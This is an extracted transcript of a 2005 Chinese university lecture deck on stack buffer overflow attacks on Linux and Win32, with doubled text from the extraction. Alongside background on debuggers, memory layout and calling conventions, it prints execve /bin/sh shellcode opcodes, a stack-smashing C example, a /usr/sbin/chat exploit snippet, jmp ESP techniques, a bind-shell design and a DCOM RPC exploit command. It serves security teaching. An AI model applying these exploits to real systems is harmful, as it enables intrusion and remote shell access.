缓冲区溢出攻击技术 -栈溢出攻击技术

50
北北北北北北北北北北北北北北 缓缓缓缓缓缓缓缓缓 缓缓缓缓缓缓缓 北北北北 北北北北 北北 北北北 北北 北北北 /The Artemis Project /The Artemis Project 2005-5-31 2005-5-31 北北北北北北北北北北北北北北

description

北京大学计算机科学技术研究所. 缓冲区溢出攻击技术 -栈溢出攻击技术. 诸葛建伟 狩猎女神项目 /The Artemis Project 2005-5-31. 内容. 缓冲区溢出攻击简介 基本概念及发展历史 背景知识 (Linux & win32) 缓冲区溢出攻击的原理 栈溢出攻击如何工作? Linux: 栈溢出 , shellcode Win32: 栈溢出 , shellcode 总结. 缓冲区溢出攻击的威胁. 缓冲区溢出攻击的基本概念. 向缓冲区中填入过多的数据,超出边界 导致数据外溢,覆盖了相邻的内存空间 - PowerPoint PPT Presentation

Transcript of 缓冲区溢出攻击技术 -栈溢出攻击技术

Page 1: 缓冲区溢出攻击技术 -栈溢出攻击技术

北京大学计算机科学技术研究所

缓冲区溢出攻击技术-栈溢出攻击技术

诸葛建伟诸葛建伟狩猎女神项目狩猎女神项目 /The Artemis Project/The Artemis Project

2005-5-312005-5-31

北京大学计算机科学技术研究所

Page 2: 缓冲区溢出攻击技术 -栈溢出攻击技术

22

北京大学计算机科学技术研究所

内容 缓冲区溢出攻击简介缓冲区溢出攻击简介

基本概念及发展历史基本概念及发展历史 背景知识 背景知识 (Linux & win32)(Linux & win32) 缓冲区溢出攻击的原理缓冲区溢出攻击的原理

栈溢出攻击如何工作?栈溢出攻击如何工作? Linux: Linux: 栈溢出栈溢出 , shellcode, shellcode Win32: Win32: 栈溢出栈溢出 , shellcode, shellcode

总结总结

Page 3: 缓冲区溢出攻击技术 -栈溢出攻击技术

33

北京大学计算机科学技术研究所

缓冲区溢出攻击的威胁

Page 4: 缓冲区溢出攻击技术 -栈溢出攻击技术

44

北京大学计算机科学技术研究所

缓冲区溢出攻击的基本概念 向缓冲区中填入过多的数据,超出边界向缓冲区中填入过多的数据,超出边界 导致数据外溢,覆盖了相邻的内存空间导致数据外溢,覆盖了相邻的内存空间 利用缓冲区溢出改写数据、改变程序执利用缓冲区溢出改写数据、改变程序执

行流程行流程 干扰系统运行,破坏系统完全性,任意干扰系统运行,破坏系统完全性,任意

执行恶意代码执行恶意代码

Page 5: 缓冲区溢出攻击技术 -栈溢出攻击技术

55

北京大学计算机科学技术研究所

缓冲区溢出攻击的发展历史 1980s1980s

MorrisMorris 蠕虫-蠕虫- fingerdfingerd 缓冲区溢出攻击缓冲区溢出攻击 19961996

Aleph One, Smashing the Stack for Fun and Profit, PAleph One, Smashing the Stack for Fun and Profit, Phrack 49hrack 49

19981998 Dildog: Dildog: 提出利用栈指针的方法完成跳转提出利用栈指针的方法完成跳转 The Tao of Windows Buffer OverflowsThe Tao of Windows Buffer Overflows

19991999 Dark Spyrit: Dark Spyrit: 提出使用系统核心提出使用系统核心 DLLDLL 中的中的 Jmp ESPJmp ESP 指令指令

完成跳转完成跳转 , Phrack 55, Phrack 55 M. Conover: M. Conover: 基于堆的缓冲区溢出教程基于堆的缓冲区溢出教程

Page 6: 缓冲区溢出攻击技术 -栈溢出攻击技术

66

北京大学计算机科学技术研究所

缓冲区溢出攻击背景知识与技巧 编译器、调试器的使用编译器、调试器的使用

Linux: gcc+gdbLinux: gcc+gdb Win32: VC6.0+OllyDbgWin32: VC6.0+OllyDbg

进程内存空间结构进程内存空间结构 汇编语言基本知识汇编语言基本知识 栈的基本结构栈的基本结构 函数调用过程函数调用过程

Page 7: 缓冲区溢出攻击技术 -栈溢出攻击技术

77

北京大学计算机科学技术研究所

GCC 编译器基础 最著名的最著名的 GNUGNU 的的 Ansi c/c++Ansi c/c++ 编译器编译器

gcc [options] [filenames] gcc [options] [filenames] 编译编译 : gcc -c test.c : gcc -c test.c 生成 生成 test.otest.o 连接连接 : gcc -o test test.o: gcc -o test test.o 同时搞定同时搞定 : gcc test.c -o test: gcc test.c -o test

make: make: 用于控制编译过程用于控制编译过程 Makefile How ToMakefile How To

Page 8: 缓冲区溢出攻击技术 -栈溢出攻击技术

88

北京大学计算机科学技术研究所

GDB 调试器的使用 断点相关指令断点相关指令

break/clear, disable/enable/deletebreak/clear, disable/enable/delete watch – watch – 表达式值改变时,程序中断表达式值改变时,程序中断

执行相关指令执行相关指令 run/continue/next/steprun/continue/next/step attach – attach – 调试已运行的进程调试已运行的进程 finish/returnfinish/return

信息查看相关指令信息查看相关指令 info reg/break/files/args/frame/functions/…info reg/break/files/args/frame/functions/… backtrace – backtrace – 函数调用栈函数调用栈 print /f exp – print /f exp – 显示表达式的值显示表达式的值 x /nfu addr – x /nfu addr – 显示指定内存地址的内容显示指定内存地址的内容 list – list – 列出源码列出源码 disass func – disass func – 反汇编指定函数反汇编指定函数

Page 9: 缓冲区溢出攻击技术 -栈溢出攻击技术

99

北京大学计算机科学技术研究所

VC6.0 命令行 环境变量环境变量

我的电脑-属性-高级-环境变量我的电脑-属性-高级-环境变量 PATH: PATH:

C:\Program Files\Microsoft Visual Studio\VC98\Bin;C:\Program Files\Microsoft Visual Studio\VC98\Bin; C:\Program Files\Microsoft Visual Studio\Common\MSDevC:\Program Files\Microsoft Visual Studio\Common\MSDev

98\Bin;98\Bin; INCLUDE:INCLUDE:

C:\Program Files\Microsoft Visual Studio\VC98\IncludeC:\Program Files\Microsoft Visual Studio\VC98\Include LIB:LIB:

C:\Program Files\Microsoft Visual Studio\VC98\LibC:\Program Files\Microsoft Visual Studio\VC98\Lib 命令行指令命令行指令

cl sourcefilename – cl sourcefilename – 编译并链接编译并链接

Page 10: 缓冲区溢出攻击技术 -栈溢出攻击技术

1010

北京大学计算机科学技术研究所

Win32 平台调试器 OllyDbg1.10OllyDbg1.10汉化版汉化版

32-bit assembler level analysing debu32-bit assembler level analysing debugger by Oleh Yuschukgger by Oleh Yuschuk

FreeFree 支持插件机制支持插件机制

OllyUni: OllyUni: 查找跳转指令功能查找跳转指令功能 SofticeSoftice IDA ProIDA Pro

Page 11: 缓冲区溢出攻击技术 -栈溢出攻击技术

1111

北京大学计算机科学技术研究所

背景知识-进程内存空间

ESP

EIP

0xc0000000

0x80000000Linux Win32

Page 12: 缓冲区溢出攻击技术 -栈溢出攻击技术

1212

北京大学计算机科学技术研究所

Linux 进程内存空间 Highest zone (0xc0000000-3G)Highest zone (0xc0000000-3G)

进程环境参数进程环境参数 : env strings & pointers: env strings & pointers 进程参数进程参数 : argv strings & pointers, argc : argv strings & pointers, argc

栈栈 存储函数参数、本地参数和栈状态变量 存储函数参数、本地参数和栈状态变量 (( 返回地址返回地址 , …), …) LIFO, LIFO, 向低地址增长向低地址增长

堆堆 动态分配变量 动态分配变量 (malloc)(malloc) 向高地址增长向高地址增长

.bss: uninitialized data.bss: uninitialized data .data: static initialized data.data: static initialized data .text(0x80000000): .text(0x80000000): 指令指令 , , 只读数据只读数据 Example: ./linux/memory/memory.cExample: ./linux/memory/memory.c

Page 13: 缓冲区溢出攻击技术 -栈溢出攻击技术

1313

北京大学计算机科学技术研究所

Win32 进程内存空间 系统核心内存区间系统核心内存区间

0xFFFFFFFF~0x80000000 (4G~2G)0xFFFFFFFF~0x80000000 (4G~2G) 为为 Win32Win32操作系统保留操作系统保留

用户内存区间用户内存区间 0x00000000~0x80000000 (2G~0G)0x00000000~0x80000000 (2G~0G) 堆堆 : : 动态分配变量动态分配变量 (malloc), (malloc), 向高地址增长向高地址增长 静态内存区间静态内存区间 : : 全局变量、静态变量全局变量、静态变量 代码区间代码区间 : : 从从 0x004000000x00400000开始开始 栈栈 : : 向低地址增长向低地址增长

单线程进程: 单线程进程: (( 栈底地址栈底地址 : 0x0012FFXXXX): 0x0012FFXXXX) 多线程进程拥有多个堆多线程进程拥有多个堆 // 栈栈 Example: ./win32/background/memory.cExample: ./win32/background/memory.c

Page 14: 缓冲区溢出攻击技术 -栈溢出攻击技术

1414

北京大学计算机科学技术研究所

汇编语言基础知识-寄存器寄存器名 说明 功能

eax: 累加器 加法乘法指令的缺省寄存器 , 函数返回值ecx 计数器 REP & LOOP指令的内定计数器edx 除法寄存器 存放整数除法产生的余数ebx: 基址寄存器 在内存寻址时存放基地址esp 栈顶指针寄存器 SS: ESP当前堆栈的栈顶指针ebp 栈底指针寄存器 SS: EBP当前堆栈的栈底指针esi, dei 源、目标索引寄存器 在字符串操作指令中, DS: ESI指向源串 E

S: EDI指向目标串

eip 指令寄存器 CS:EIP指向下一条指令的地址eflags 标志寄存器 标志寄存器cs 代码段寄存器 当前执行的代码段ss 椎栈段寄存器 stack segment, 当前堆栈段ds 数据段寄存器 data segment, 当前数据段

Page 15: 缓冲区溢出攻击技术 -栈溢出攻击技术

1515

北京大学计算机科学技术研究所

汇编语言基础知识-汇编指令 AT&T AT&T 格式与格式与 Intel Intel 格式 格式

命令 解释PUSH %esp -= 4; movl %REG, (%esp)

POP movl (%esp), %REG; %esp += 4

JMP movl addr, %eip

CALL pushl %eip; %eip = address

LEAVE mov %ebp, % esp; pop %ebp

RET popl %eip

Page 16: 缓冲区溢出攻击技术 -栈溢出攻击技术

1616

北京大学计算机科学技术研究所

栈的基本结构 栈-栈- LIFOLIFO抽象数据结构抽象数据结构

用于实现函数或过程调用用于实现函数或过程调用 相关寄存器相关寄存器

BP (Base Pointer) = FP (Frame Pointer): BP (Base Pointer) = FP (Frame Pointer): 当前当前栈底指针栈底指针

SP (Stack Pointer): SP (Stack Pointer): 当前栈顶指针当前栈顶指针 相关操作相关操作

PUSH: PUSH: 压栈压栈 POP: POP: 弹栈弹栈

Page 17: 缓冲区溢出攻击技术 -栈溢出攻击技术

1717

北京大学计算机科学技术研究所

函数调用过程 函数调用过程的三函数调用过程的三个步骤个步骤 prologue: prologue: 保存当保存当前的栈基址 前的栈基址 (ebp).(ebp).

call: call: 调用参数和返调用参数和返回地址回地址 (eip)(eip) 压栈,压栈,跳转到函数入口跳转到函数入口

return (or epilogureturn (or epilogue): e): 恢复调用者原有恢复调用者原有栈栈

Page 18: 缓冲区溢出攻击技术 -栈溢出攻击技术

1818

北京大学计算机科学技术研究所

函数调用过程示例

2

1

Ret-add

ebpretVal

Stack frame

esp

esp

esp

esp

main ebp

espfunc ebp

esp

esp

esp

esp

esp

Page 19: 缓冲区溢出攻击技术 -栈溢出攻击技术

1919

北京大学计算机科学技术研究所

缓冲区溢出攻击的本源 没有内嵌支持的边界保护没有内嵌支持的边界保护

User funcsUser funcs Ansi C/C++: strcat(), strcpy(), sprintf(),Ansi C/C++: strcat(), strcpy(), sprintf(),

vsprintf(), bcopy(), gets(), scanf()… vsprintf(), bcopy(), gets(), scanf()… 程序员安全编程技巧和意识程序员安全编程技巧和意识 可执行的栈可执行的栈 (( 堆堆 ))

给出给出 ShellShell或执行任意的代码或执行任意的代码

Page 20: 缓冲区溢出攻击技术 -栈溢出攻击技术

2020

北京大学计算机科学技术研究所

缓冲区溢出示例

Page 21: 缓冲区溢出攻击技术 -栈溢出攻击技术

2121

北京大学计算机科学技术研究所

栈溢出攻击的原理 当调用函数时当调用函数时

CallCall 指令会将返回地址(指令会将返回地址( CallCall 指令下一条指令地指令下一条指令地址)压入栈址)压入栈

RetRet 指令会把压栈的返回地址弹给指令会把压栈的返回地址弹给 EIPEIP 栈溢出攻击的原理栈溢出攻击的原理

通过缓冲区溢出修改栈中的返回地址通过缓冲区溢出修改栈中的返回地址当函数调用返回,当函数调用返回, EIPEIP获得被修改后的返回地址,获得被修改后的返回地址,

并执行并执行 ShellcodeShellcode挑战挑战 1: 1: 将修改后的返回地址填到正确的位置将修改后的返回地址填到正确的位置挑战挑战 2: 2: 返回地址能正确地指向返回地址能正确地指向 ShellcodeShellcode

Page 22: 缓冲区溢出攻击技术 -栈溢出攻击技术

2222

北京大学计算机科学技术研究所

char shellcode[] = "\xeb\x1f\x……";char shellcode[] = "\xeb\x1f\x……";char large_string[128];char large_string[128];

int main(int argc, char **argv){int main(int argc, char **argv){ char buffer[96];char buffer[96]; int i;int i; long *long_ptr = (long *) large_string;long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++)for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer;*(long_ptr + i) = (int) buffer; for (i = 0; i < (int) strlen(shellcode); i++)for (i = 0; i < (int) strlen(shellcode); i++) large_string[i] = shellcode[i];large_string[i] = shellcode[i]; strcpy(buffer, large_string);strcpy(buffer, large_string); return 0;return 0;}}

Return add

Buffer(96bytes)

i

long_ptr

高地址

低地址

Para2

Para1

Return add

Return add

Return add

Return add

shellcode

栈溢出攻击示例

Page 23: 缓冲区溢出攻击技术 -栈溢出攻击技术

2323

北京大学计算机科学技术研究所

Linux 系统下的栈溢出攻击 栈溢出攻击栈溢出攻击

NSRNSR 模式模式 NRSNRS模式模式R.SR.S模式模式

ShellcodeShellcode 真实世界中的栈溢出攻击真实世界中的栈溢出攻击

Page 24: 缓冲区溢出攻击技术 -栈溢出攻击技术

2424

北京大学计算机科学技术研究所

NOP shellcode

Low Address

NOP…NOP … RETRET…RET

High Addressvulnerable1.c: stackexploit1.c:

NSR 溢出模式

Page 25: 缓冲区溢出攻击技术 -栈溢出攻击技术

2525

北京大学计算机科学技术研究所

RET shellcode

Low Address

RET…RET …NOPNOP…NOP

High Addressvulnerable2. c: stackexploit2.c:

RNS 溢出模式

Page 26: 缓冲区溢出攻击技术 -栈溢出攻击技术

2626

北京大学计算机科学技术研究所

shellcode

Low Address

FILE NULL…

High Addressvulnerable2.c: stackexploit3.c:

0xc0000000RETRET…RET

R.S 溢出模式-利用环境变量

Page 27: 缓冲区溢出攻击技术 -栈溢出攻击技术

2727

北京大学计算机科学技术研究所

栈溢出模式分析 挑战挑战

溢出点 溢出点 ((在哪改写返回地址?在哪改写返回地址? )) ShellcodeShellcode 地址 地址 ((将返回地址改写成什么?将返回地址改写成什么? ))

NSRNSR 模式模式 最经典的方法 – 最经典的方法 – Alpha One Alpha One 需要漏洞程序有足够大的缓冲区需要漏洞程序有足够大的缓冲区

RNSRNS模式模式能够适合小缓冲区情况,更容易计算返回地址能够适合小缓冲区情况,更容易计算返回地址

R.SR.S模式模式 最新的方法最新的方法 : : execve (filename, argv [], envp[]);execve (filename, argv [], envp[]); Ret = 0xc0000000 – 4 – strlen (FILENAME) – sRet = 0xc0000000 – 4 – strlen (FILENAME) – s

trlen (shellcode), trlen (shellcode), 不需要任何不需要任何 NOPNOP但对远程缓冲区溢出攻击不适用但对远程缓冲区溢出攻击不适用

Page 28: 缓冲区溢出攻击技术 -栈溢出攻击技术

2828

北京大学计算机科学技术研究所

Shellcode C 版本

Page 29: 缓冲区溢出攻击技术 -栈溢出攻击技术

2929

北京大学计算机科学技术研究所

Shellcode 汇编版本

shellcode_asm.c shellcode_asm_fix.c去除’ \0’

Page 30: 缓冲区溢出攻击技术 -栈溢出攻击技术

3030

北京大学计算机科学技术研究所

Shellcode Opcode 版本 31 d231 d2 xor %edx,%edxxor %edx,%edx 5252 push %edxpush %edx 68 6e 2f 73 6868 6e 2f 73 68 push $0x68732f6epush $0x68732f6e 68 2f 2f 62 6968 2f 2f 62 69 push $0x69622f2fpush $0x69622f2f 89 e389 e3 mov %esp,%ebxmov %esp,%ebx 5252 push %edxpush %edx 5353 push %ebxpush %ebx 89 e189 e1 mov %esp,%ecxmov %esp,%ecx 8d 42 0b8d 42 0b lea 0xb(%edx),%eaxlea 0xb(%edx),%eax cd 80cd 80 int $0x80int $0x80

Page 31: 缓冲区溢出攻击技术 -栈溢出攻击技术

3131

北京大学计算机科学技术研究所

给出远程登录的 Shellcode

Page 32: 缓冲区溢出攻击技术 -栈溢出攻击技术

3232

北京大学计算机科学技术研究所

渗透防火墙的 Shellcode fcntlfcntl 设置设置 socketsocket 状态状态

scz@nsfocusscz@nsfocus 发送发送 OOBOOB 数据数据

bkbll@cnhonkebkbll@cnhonke 利用利用 ioctlioctl 函数的函数的 FIONREADFIONREAD 选项选项

eyas@xfocuseyas@xfocus 文件上传下载功能文件上传下载功能

Page 33: 缓冲区溢出攻击技术 -栈溢出攻击技术

3333

北京大学计算机科学技术研究所

在真实 Linux 世界中的栈溢出攻击 2003/09 - /usr/sbin/chat stack overflow2003/09 - /usr/sbin/chat stack overflow

寻找溢出点寻找溢出点 gdb /usr/sbin/chatgdb /usr/sbin/chat (gdb) run `perl -e 'print "A" x 1056'`(gdb) run `perl -e 'print "A" x 1056'`

– * eip 0x41414141 0x41414141* eip 0x41414141 0x41414141 (gdb) run `perl -e 'print "A" x 1000'`(gdb) run `perl -e 'print "A" x 1000'`

– Program exited with code 03.Program exited with code 03. 返回地址返回地址

ret=0xc0000000-strlen(shellcode)-strlen("/usr/sbin/chat")-ret=0xc0000000-strlen(shellcode)-strlen("/usr/sbin/chat")-sizeof(void *);sizeof(void *);

Here we go!Here we go! (实战训练)(实战训练) char *env[]={"HOME=/root",shellcode,NULL};char *env[]={"HOME=/root",shellcode,NULL}; for(i=1000;i<1056;i+=4)for(i=1000;i<1056;i+=4) *(long *)&buf[i]=ret;*(long *)&buf[i]=ret; execve(p[0],p,env);execve(p[0],p,env);

Why not root??? - (not setuid program)Why not root??? - (not setuid program)

Page 34: 缓冲区溢出攻击技术 -栈溢出攻击技术

3434

北京大学计算机科学技术研究所

Win32 系统下的栈溢出攻击 栈溢出攻击栈溢出攻击

本地栈溢出示例本地栈溢出示例远程栈溢出攻击远程栈溢出攻击

ShellcodeShellcode 真实真实 Win32Win32世界中的栈溢出攻击世界中的栈溢出攻击

Page 35: 缓冲区溢出攻击技术 -栈溢出攻击技术

3535

北京大学计算机科学技术研究所

漏洞程序

Page 36: 缓冲区溢出攻击技术 -栈溢出攻击技术

3636

北京大学计算机科学技术研究所

如何利用?与 Linux 平台有何不同? Win32Win32平台与平台与 LinuxLinux平台的不同之处平台的不同之处

如何进行系统调用-如何进行系统调用- shellcodeshellcode 方式不同方式不同 Win32: Win32: 通过调用系统通过调用系统 DLLDLL 提供的接口函数提供的接口函数 Linux: Linux: 通过中断进行系统调用通过中断进行系统调用

对废弃栈的处理-对废弃栈的处理- NSRNSR 模式不适用于模式不适用于 Win32Win32 Win32: Win32: 写入一些随机的数据写入一些随机的数据 Linux: Linux: 不进行任何处理不进行任何处理

进程内存空间的分布-进程内存空间的分布- NRSNRS与与 R.SR.S模式同样不适模式同样不适用于用于 Win32Win32

Win32: Win32: 栈在栈在 1G1G 以下的用户空间,地址中有空字节以下的用户空间,地址中有空字节 Linux: Linux: 栈在栈在 3G(0xc0000000)3G(0xc0000000) 附近,地址中没有空字节附近,地址中没有空字节

Page 37: 缓冲区溢出攻击技术 -栈溢出攻击技术

3737

北京大学计算机科学技术研究所

Win32 对废弃栈的处理 如何以如何以 ShellcodeShellcode 地址地址

覆盖返回地址?覆盖返回地址? NSRNSR 模式模式RR 指向了指向了 ShellcodeShellcode 地址地址 , , 但但执行“执行“ mov esp,ebp”mov esp,ebp” 恢复调恢复调用者栈信息时,用者栈信息时, Win32Win32会在被会在被废弃的栈中填入一些随机数据。废弃的栈中填入一些随机数据。

WE LOST SHELLCODE!!! WE LOST SHELLCODE!!!

调用者的栈

调用参数

返回地址

EBP

局部变量

Shellcode

地址

R

SSSS

SSSSNNNNNNNN

EBP

ESP

ESP

%%%%%%%%%%%%

Page 38: 缓冲区溢出攻击技术 -栈溢出攻击技术

3838

北京大学计算机科学技术研究所

如何以如何以 ShellcodeShellcode 地址地址覆盖返回地址?覆盖返回地址? NRSNRS模式模式栈在栈在 1G(~0x00FFFFFF)1G(~0x00FFFFFF) 以下以下如果如果 RR 直接指向直接指向 ShellcodeShellcode ,则在,则在RR 中必然含有空字节中必然含有空字节‘‘ \0’\0’. Shell. Shellcodecode 将被截断将被截断

we lost shellcode AGAIN!!we lost shellcode AGAIN!! R.SR.S模式模式Win32Win32平台无平台无 SUIDSUID 机制,本地溢机制,本地溢

出没有意义出没有意义同样会由于同样会由于 RR 中含空字节被截断中含空字节被截断

调用者的栈

调用参数

Return address

EBP

局部变量

Shellcode

地址

地址 R 中含空字节 SSSS

R

NNNNNNNN

Win32 栈地址含有空字节

Page 39: 缓冲区溢出攻击技术 -栈溢出攻击技术

3939

北京大学计算机科学技术研究所

如何解决 ? 通过通过 Jmp/Call ESPJmp/Call ESP 指令跳转指令跳转

1998: Dildog-1998: Dildog- 提出利用栈指针的方法完成跳转提出利用栈指针的方法完成跳转 1999: Dark Spyrit-1999: Dark Spyrit- 提出使用系统核心提出使用系统核心 DLLDLL 中的中的

Jmp ESPJmp ESP 指令完成跳转指令完成跳转 跳转指令在哪?跳转指令在哪?

OllyUniOllyUni 插件提供插件提供 Overflow Return AddressOverflow Return Address功功能能

代码页里的地址代码页里的地址 : : 不受任何系统版本及不受任何系统版本及 SPSP影响,影响,但受语言区域选择影响。但受语言区域选择影响。

应用程序加载的用户应用程序加载的用户 DLLDLL ,取决于具体的应用程,取决于具体的应用程序,可能较通用。序,可能较通用。

系统未变的系统未变的 DLLDLL ,特定发行版本里不受,特定发行版本里不受 SPSP影响,影响,但不同语言版本加载基址可能会不同。但不同语言版本加载基址可能会不同。

Page 40: 缓冲区溢出攻击技术 -栈溢出攻击技术

4040

北京大学计算机科学技术研究所

通过跳转指令执行 Shellcode 如何利用跳转指令让漏洞程序如何利用跳转指令让漏洞程序正确执行我们的正确执行我们的 ShellcodeShellcode

0040100F |. E8 0C000000 CALL 0040100F |. E8 0C000000 CALL 00401014 |. 83C4 08 ADD ESP,800401014 |. 83C4 08 ADD ESP,800401017 |. 8BE5 MOV ESP,EBP00401017 |. 8BE5 MOV ESP,EBP00401019 |. 5D POP EBP00401019 |. 5D POP EBP0040101A \. C3 RETN0040101A \. C3 RETN

NOW ESP POINTS TO SHNOW ESP POINTS TO SHELLCODE!!ELLCODE!!

调用者的栈

调用参数

Return address

EBP

局部变量

SSSS

R

NNNNNNNN

EBPESP

ESP

ESP

ESPJMP ESPJMP ESP

Page 41: 缓冲区溢出攻击技术 -栈溢出攻击技术

4141

北京大学计算机科学技术研究所

Win32 远程缓冲区溢出 远程缓冲区溢出演示远程缓冲区溢出演示

缓冲区溢出漏洞服务器端程序缓冲区溢出漏洞服务器端程序 :server.cpp:server.cpp 远程缓冲区溢出攻击代码远程缓冲区溢出攻击代码 :exploit.c:exploit.c

结构化异常处理-结构化异常处理- SEHSEH server_seh.cppserver_seh.cpp 进行了异常处理,进行了异常处理, exploitexploit 时返回前异常时返回前异常触发,程序流进入异常处理触发,程序流进入异常处理

SEHSEH保存在栈中,对其进行覆盖保存在栈中,对其进行覆盖 XPXP 和和 20032003 的增强异常处理-的增强异常处理- VEHVEH 向量化异常处理向量化异常处理

异常处理次序异常处理次序 : : 调试器 调试器 VEH VEH SEH SEH VEHVEH保存在堆里保存在堆里 David Litchfield: “Defeating the Stack Based Buffer David Litchfield: “Defeating the Stack Based Buffer

Overflow Prevention Mechanism of Microsoft WindoOverflow Prevention Mechanism of Microsoft Windows 2003 Server”ws 2003 Server”

Page 42: 缓冲区溢出攻击技术 -栈溢出攻击技术

4242

北京大学计算机科学技术研究所

Win32 Shellcode C 语言版

Page 43: 缓冲区溢出攻击技术 -栈溢出攻击技术

4343

北京大学计算机科学技术研究所

Win32 Shellcode 汇编语言版

Page 44: 缓冲区溢出攻击技术 -栈溢出攻击技术

4444

北京大学计算机科学技术研究所

Win32 Shellcode Opcode 版

Page 45: 缓冲区溢出攻击技术 -栈溢出攻击技术

4545

北京大学计算机科学技术研究所

Win32 完整的本地 Shellcode shellcode_asm_full.c - shellcode_asm_full.c - 三个三个 APIAPI 调用过程调用过程 ::

LoadLibrary("msvcrt.dll");LoadLibrary("msvcrt.dll"); system("command.com");system("command.com"); eexitxit(0);(0);

平台相关的平台相关的 APIAPI 入口地址入口地址 system() and exit()system() and exit() 使用使用 LoadLibrary()LoadLibrary() 和和 GetProcAddress() GetProcAddress() 获取其他获取其他 APIAPI

函数入口地址函数入口地址 GetProcAddress()GetProcAddress() 和和 LoadLibrary()LoadLibrary() 的地址可以在漏洞的地址可以在漏洞

程序的程序的 Import Address TableImport Address Table 找到找到 GetProcAddress()GetProcAddress() 和和 LoadLibrary()LoadLibrary() 的地址对于一个特的地址对于一个特

定版本的定版本的 Win32Win32平台是固定的-从平台是固定的-从 Kernel32.dllKernel32.dll 中获取中获取其地址其地址

Page 46: 缓冲区溢出攻击技术 -栈溢出攻击技术

4646

北京大学计算机科学技术研究所

从 Kernel32.dll 获取地址 获取获取 Kernel32.dllKernel32.dll加载基址加载基址

从从 PEBPEB(进程环境块)获取(进程环境块)获取 获取获取 Windows APIWindows API 地址地址

HashHash算法减少算法减少 APIAPI 名字长度名字长度 44字节字节 h=((h<<25)|(h>>7))+ch=((h<<25)|(h>>7))+c

通过通过 PEPE 结构结构 e_lfanewe_lfanew找到找到 PEPE头头 PEPE 基址偏移基址偏移 0x780x78引出表目录指针引出表目录指针 DataDirectoDataDirecto

ry,ry,其前两个元素分别对应其前两个元素分别对应 ExportDirectoryExportDirectory 和和 IImportDirectorymportDirectory

引出引出 ExportDirectoryExportDirectory 中的每个函数名称,做中的每个函数名称,做 hhashash计算,与原先保存的计算,与原先保存的 hashhash 值进行比较,相值进行比较,相等则找到对应等则找到对应 APIAPI 入口地址入口地址

Page 47: 缓冲区溢出攻击技术 -栈溢出攻击技术

4747

北京大学计算机科学技术研究所

实用的 Win32 Shellcode XorXor 编码消除空字节编码消除空字节 给出远程连接给出远程连接

Create server and listenCreate server and listen Accept client connectionAccept client connection Create a child process to run “cmd.exe”Create a child process to run “cmd.exe” Create two pipes and links the shell with sockCreate two pipes and links the shell with sock

etet Command: Client send >> recv Server write >> pCommand: Client send >> recv Server write >> p

ipe2 >> stdin Cmd.exeipe2 >> stdin Cmd.exe Output: Client recv << send Server read << pipeOutput: Client recv << send Server read << pipe

1 << stdout Cmd.exe1 << stdout Cmd.exe

Page 48: 缓冲区溢出攻击技术 -栈溢出攻击技术

4848

北京大学计算机科学技术研究所

穿透防火墙的 Shellcode 端口复用技术端口复用技术 重新绑定原端口重新绑定原端口 GetpeernameGetpeername 查找查找 socketsocket 字串匹配查找字串匹配查找 socketsocket HookHook 系统的系统的 recvrecv 调用调用 文件上传下载功能的实现文件上传下载功能的实现

Page 49: 缓冲区溢出攻击技术 -栈溢出攻击技术

4949

北京大学计算机科学技术研究所

真实 Win32 世界中的栈溢出攻击 DCOM RPC WIN32 remote exploit bDCOM RPC WIN32 remote exploit b

y Lordyy Lordy E:\bof_codes\win32\real>dcomrpcE:\bof_codes\win32\real>dcomrpc_magickey_win -h 127.0.0.1 -t6_magickey_win -h 127.0.0.1 -t6

Page 50: 缓冲区溢出攻击技术 -栈溢出攻击技术

5050

北京大学计算机科学技术研究所

总结 缓冲区溢出攻击的基本简介缓冲区溢出攻击的基本简介

背景知识背景知识 基本概念基本概念 发展历史发展历史 基本原理基本原理

LinuxLinux平台下的栈溢出攻击平台下的栈溢出攻击 Win32Win32平台下的栈溢出攻击平台下的栈溢出攻击